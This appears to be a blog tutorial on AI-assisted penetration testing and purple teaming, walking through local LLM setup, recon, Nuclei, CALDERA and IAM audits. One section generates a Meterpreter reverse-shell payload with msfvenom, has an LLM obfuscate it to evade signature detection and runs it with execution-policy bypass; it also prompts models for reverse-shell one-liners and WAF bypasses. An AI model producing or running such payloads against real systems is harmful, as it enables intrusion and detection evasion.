Introduction:
Traditional penetration testing is being rapidly transformed by artificial intelligence, enabling offensive security teams to automate reconnaissance, generate smart payloads, and simulate complex attack chains at machine speed. As highlighted by Dr. Ryan Tierney’s recent team expansion for “highly motivated penetration testers who are not afraid of AI,” the industry is actively seeking professionals who can blend human creativity with AI-driven automation to pioneer the future of red and purple teaming.
Learning Objectives:
- Set up an AI-assisted penetration testing lab using open‑source LLMs and automation frameworks.
- Automate reconnaissance, vulnerability scanning, and payload generation with AI integration.
- Perform purple teaming exercises that leverage AI to mimic adaptive adversaries and improve detection.
You Should Know:
- Setting Up Your AI‑Assisted Pentesting Lab (Linux & Windows)
A modern AI‑ready lab combines GPU acceleration, containerized tools, and local LLMs to avoid cloud data leakage. Below is a step‑by‑step guide to deploy a local AI assistant (Ollama + CodeLlama) alongside traditional tools.
Step‑by‑step guide:
- On Linux (Ubuntu 22.04+):
Install Ollama for local LLM curl -fsSL https://ollama.com/install.sh | sh ollama pull codellama:7b-instruct Run the model API (default port 11434) ollama serve Test AI response curl http://localhost:11434/api/generate -d '{"model":"codellama:7b-instruct","prompt":"Generate a reverse shell one-liner for Linux"}' - On Windows (WSL2 or native with Docker):
Install Docker Desktop with WSL2 backend wsl --install Pull a pentesting toolkit with AI plugins docker pull kalilinux/kali-rolling docker run -it --gpus all kalilinux/kali-rolling bash Inside container: install Ollama for Windows (follow official guide)
- Verify functionality: Send a simple prompt like “Nmap scan for open ports” and capture the AI‑generated command.
2. Automating Reconnaissance with AI Enrichment
Use LLMs to parse large subdomain lists, identify technology stacks, and prioritize targets based on potential weak points.
Step‑by‑step guide:
- Gather subdomains:
Linux subfinder -d example.com -o subs.txt assetfinder example.com >> subs.txt cat subs.txt | httpx -silent -o live_urls.txt
- Feed live URLs to local AI for analysis:
save as ai_recon.py import requests, json with open('live_urls.txt') as f: urls = f.read().splitlines() for url in urls[:5]: sample prompt = f"What technologies likely run on {url}? Suggest possible misconfigurations." resp = requests.post('http://localhost:11434/api/generate', json={'model':'codellama:7b-instruct','prompt':prompt,'stream':False}) print(url, resp.json()['response'][:200]) - Windows alternative (PowerShell + Invoke-WebRequest):
$urls = Get-Content live_urls.txt foreach ($u in $urls[0..4]) { $body = @{model="codellama:7b-instruct"; prompt="Analyze $u for security headers"} | ConvertTo-Json Invoke-RestMethod -Uri "http://localhost:11434/api/generate" -Method Post -Body $body -ContentType "application/json" }
- AI‑Enhanced Vulnerability Scanning with Nuclei & Custom Templates
Combine Nuclei’s speed with AI to dynamically generate new vulnerability templates for zero‑day or edge‑case flaws.
Step‑by‑step guide:
- Run a baseline scan:
nuclei -list live_urls.txt -severity critical,high -o critical_vulns.txt
- Use AI to create a custom template based on a failed login response:
Extract a response sample (save as sample_response.txt) curl -X POST https://target.com/login -d "user=test&pass=wrong" -i > sample_response.txt Prompt AI via curl curl http://localhost:11434/api/generate -d '{ "model":"codellama:7b-instruct", "prompt":"Create a Nuclei YAML template to detect SQL injection on login. Use this response as reference: '$(cat sample_response.txt)'" }' - Save AI output as custom-sqli.yaml and run: `nuclei -t custom-sqli.yaml -target https://target.com`
- Mitigation (defensive): Use AI to review your WAF rules (e.g., ModSecurity) by feeding logs and requesting bypass suggestions.
4. Purple Teaming with AI‑Simulated Adversaries
Purple teaming requires realistic, adaptive attacker behavior. Integrate AI with CALDERA or Atomic Red Team to generate novel TTPs.
Step‑by‑step guide:
- Install CALDERA (Linux):
git clone https://github.com/mitre/caldera.git --recursive cd caldera pip install -r requirements.txt python server.py --insecure
- Create an AI plugin that modifies adversary profiles:
caldera_ai_plugin.py - requests dynamic commands from local LLM import requests def get_ai_command(technique_name): prompt = f"Suggest a realistic PowerShell command for {technique_name} (e.g., T1059.001). Omit explanations." r = requests.post('http://localhost:11434/api/generate', json={'model':'codellama:7b-instruct','prompt':prompt}) return r.json()['response'] - Windows execution (Atomic Red Team + AI):
Download Atomic Red Team IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1') Install-AtomicRedTeam Ask AI for a custom atomic test $aiCommand = (Invoke-RestMethod -Uri "http://localhost:11434/api/generate" -Method Post -Body (@{model="codellama:7b-instruct"; prompt="Write PowerShell to simulate Kerberoasting"} | ConvertTo-Json) -ContentType "application/json").response Invoke-AtomicTest -TestName $aiCommand
- Exploit Generation & Lateral Movement with AI Crafted Payloads
Use AI to dynamically generate obfuscated payloads that evade signature‑based detection.
Step‑by‑step guide:
- Generate a base reverse shell payload (msfvenom):
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f ps1 -o shell.ps1
- Feed shell.ps1 to AI for obfuscation:
curl http://localhost:11434/api/generate -d '{ "model":"codellama:7b-instruct", "prompt":"Obfuscate the following PowerShell one-liner using string splitting and variable concatenation: '$(cat shell.ps1)'" }' > obfuscated_shell.ps1 - Deploy via Windows command line (victim simulation):
powershell -ExecutionPolicy Bypass -File obfuscated_shell.ps1
- Mitigation: Use AI to audit your AMSI bypass protections – feed your current bypass detection logs and ask for missing patterns.
- Cloud Hardening & API Security with AI Audits
Many red team engagements now target cloud APIs. AI can rapidly audit IAM policies and OpenAPI specs.
Step‑by‑step guide:
- Extract an AWS IAM policy (Linux with AWS CLI):
aws iam get-policy-version --policy-arn arn:aws:iam::123456789012:policy/MyPolicy --version-id v1 > policy.json
- Ask AI to find privilege escalation paths:
curl http://localhost:11434/api/generate -d '{ "model":"codellama:7b-instruct", "prompt":"Analyze this IAM policy JSON for overprivileged actions like `iam:CreateAccessKey` or <code>ec2:RunInstances</code>:'$(cat policy.json)'" }' - Windows / cross‑platform: Use `curl` or PowerShell to query AI. For API security, feed an OpenAPI YAML file and request `AI APIsecurity` test cases for tools like Postman or ZAP.
- Hardening command (Linux): Apply least privilege using `aws iam put-role-policy` after AI recommendations.
What Undercode Say:
- Key Takeaway 1: The cybersecurity industry is actively seeking penetration testers who combine hands‑on technical skills with AI integration – not replacing human judgment but amplifying it.
- Key Takeaway 2: Real “magic” in offensive security comes from professionals like Dr. Ryan Tierney who live and breathe the craft, embracing AI to pioneer new methods for purple teaming, red teaming, and automated adversarial simulation.
Analysis (approx. 10 lines):
Undercode’s endorsement highlights a critical shift: AI is no longer a futuristic concept but a practical force multiplier. The posted opportunities demand “highly motivated” testers willing to challenge industry norms – meaning candidates must demonstrate proficiency with LLMs, automation pipelines, and creative threat modeling. This reflects a broader trend where traditional pentesting (static checklists) loses value, and adaptive, AI‑driven approaches become table stakes. Teams that fail to integrate AI will struggle to keep pace with attackers who already use generative AI for phishing, evasion, and rapid exploit development. However, hype must be balanced: AI still hallucinates commands and requires rigorous validation. The most effective professionals will treat AI as a junior analyst – fast but fallible – and overlay their own strategic oversight. Training courses that combine offensive security fundamentals with LLM prompt engineering (e.g., “How to weaponize CodeLlama for red teaming”) will become essential. Ultimately, this post signals that AI‑assisted roles are moving from research labs to frontline SOCs and red teams – a positive evolution, provided ethics and control remain human‑led.
Prediction:
+1: AI‑integrated penetration testing will reduce average assessment time by 40‑60% within 18 months, allowing teams to cover more assets and conduct continuous purple teaming.
+1: Open‑source local LLMs will mature into standard tools on Kali Linux and Parrot OS, democratizing advanced AI capabilities for all security professionals.
-1: Over‑reliance on AI‑generated exploits may introduce subtle logic flaws that human testers miss, leading to false negatives and unsafe “all clear” reports.
-1: Adversaries will accelerate poisoning of public training data to embed backdoors into popular pentesting LLMs, creating supply‑chain risks for AI assistants.
